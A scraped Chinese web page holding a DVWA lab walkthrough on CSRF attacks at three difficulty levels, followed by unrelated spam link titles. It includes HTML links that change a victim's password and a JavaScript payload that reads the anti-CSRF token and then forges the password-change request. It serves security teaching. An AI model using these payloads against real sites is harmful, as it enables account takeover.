当前位置: 首页 > news >正文

熟练掌握网站开发技术响应式中文网站模板

熟练掌握网站开发技术,响应式中文网站模板,安阳县事业单位,门店管理系统appDVWA-csrf实例 low级别 修改密码#xff1a;修改的密码通过get请求#xff0c;暴露在url上。 写一个简单的html文件#xff0c;里面伪装修改密码的文字#xff0c;代码如下#xff1a; htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csr…DVWA-csrf实例 low级别 修改密码修改的密码通过get请求暴露在url上。 写一个简单的html文件里面伪装修改密码的文字代码如下 htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-low/a/body /html点击dvwa-csrf-low文字后跳转到dvwa的修改密码界面提示Password changed密码已修改。 middle级别 修改密码修改的密码通过get请求暴露在url上。 写一个简单的html文件里面伪装修改密码的文字代码如下 htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-low/a/bra hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-middle/a/body /html点击dvwa-csrf-middle文字后跳转到dvwa的修改密码界面提示the request didn’t look correct (请求不正确)。 查看源码发现会校验http_referer和server_name两个参数不为空。 对比成功的请求与失败的请求发现失败的请求缺失了refererreferer用来表示从哪个页面链接到当前的网页。用于浏览器的同源策略。 成功的请求 失败的请求 利用bp工具补上referer的参数。 网上另外解法修改host和referer为localhost或127.0.0.1其实也是遵循同源策略。 high级别 修改密码修改的密码通过get请求暴露在url上并且带上user_token。 写一个简单的html文件里面伪装修改密码的文字代码如下 htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-low/a/bra hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-middle/a/bra hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new2password_conf2ChangeChangeuser_token96f6243c53766d30d5e51cf92c15f9a3#dvwa-csrf-high/a/body /html点击dvwa-csrf-high文字后跳转到dvwa的修改密码界面提示csrf token is incorrect (csrf的token错误)。 对比成功的请求与失败的请求发现失败的请求缺失了refererreferer用来表示从哪个页面链接到当前的网页。用于浏览器的同源策略。 成功的请求 失败的请求 利用bp工具补上referer的参数。结果还是失败。因此查看源码#1这行有进行token的校验。#2这行进行token生成大致可以分析出token生成后一次性校验跟验证码同理。 ?phpif( isset( $_GET[ Change ] ) ) {// Check Anti-CSRF token #1checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php );// Get input$pass_new $_GET[ password_new ];$pass_conf $_GET[ password_conf ];// Do the passwords match?if( $pass_new $pass_conf ) {// They do!$pass_new ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_new ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$pass_new md5( $pass_new );// Update the database$insert UPDATE users SET password $pass_new WHERE user . dvwaCurrentUser() . ;;$result mysqli_query($GLOBALS[___mysqli_ston], $insert ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );// Feedback for the userecho prePassword Changed./pre;}else {// Issue with passwords matchingecho prePasswords did not match./pre;}((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res); }// Generate Anti-CSRF token #2 generateSessionToken();?基于分析出的结论要构建一个新请求先调用#2再调用修改密码的请求此时为了避免跨域问题。将写好的html直接放到dvwa下。 htmlbodya hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-low/a/bra hrefhttp://dvwa:7001/vulnerabilities/csrf/?password_new1234password_conf1234ChangeChange#dvwa-csrf-middle/a/bra hrefjavascript:void(0); onclickinitJS()dvwa-csrf-high/a/bodyscript function initJS(){var theUrl http://dvwa:7001/vulnerabilities/csrf/; if(window.XMLHttpRequest) {xmlhttp new XMLHttpRequest(); }else{xmlhttp new ActiveXObject(Microsoft.XMLHTTP); } var count 0; xmlhttp.withCredentials true; xmlhttp.onreadystatechangefunction(){if(xmlhttp.readyState 4 xmlhttp.status200){var text xmlhttp.responseText;var regex /user_token\ value\\(.*?)\ \/\/;var match text.match(regex);var token match[1];var new_url http://dvwa:7001/vulnerabilities/csrf/?user_tokentokenpassword_new1password_conf1ChangeChange;if(count0){count;//此代码用于只执行一次修改密码xmlhttp.open(GET,new_url,false);xmlhttp.send();}} }; xmlhttp.open(GET,theUrl,false); xmlhttp.send();}/script /html用新密码可以成功登录通关结束。
http://www.hkea.cn/news/14286795/

相关文章:

  • 衣联网和一起做网站 哪家强dede部署两个网站
  • 营销型网站设计官网深圳 网站开发
  • 涞源县住房和城乡建设局网站论坛网站如何备案
  • dedecms 网站 经常无法连接网站建站公司
  • 企业建设网站公司名称大全动态型网站建设
  • 文学网站建设电子商务网站建设ppt模板
  • 浪漫网站建设998元网站建设优化
  • 博物馆网站建设说明互联网推广品牌
  • 怎么制作自己的作品集搜索引擎排名优化技术
  • 企业建设网站的比例wordpress 下载页面模板怎么用
  • 网站销售好做吗公司网站的推广
  • 魏县网站建设东莞最新消息今天
  • 常用于做网站的软件专门做图表的网站
  • 做全国性的app网站推广多少怎么查开发商剩余房源
  • 山西省建设厅政务中心网站企业网站模板 演示
  • 网站设计的研究方法有哪些wordpress print_r
  • 免费网站模板的制作方法济宁哪里有网站建设
  • 网络规划设计师考试资料百度云帝国网站seo
  • 郑州网站关键词优化外包如何评估一个网站seo的优异程度
  • 工长网站开发wordpress主页乱码
  • 如何用dw做网站底页如何做网站商城
  • 做网站的学校有哪些网站建设中 显示 虚拟机
  • 建设银行etc的网站是哪个好网站运营成功案例
  • 给境外网站网站做代理vs2010 网站开发教程
  • 微商货源网站大全酒业为什么做网站
  • 苏州设计网站英文网站建设 江门
  • 网站优化的推广汕头seo优化流程
  • 阿里云手机网站建设多少钱重庆网站建设方案
  • 建设网站的意义作用是什么黄骅中捷
  • 关于建设工程招标类的公共网站苏州园区两学一做网站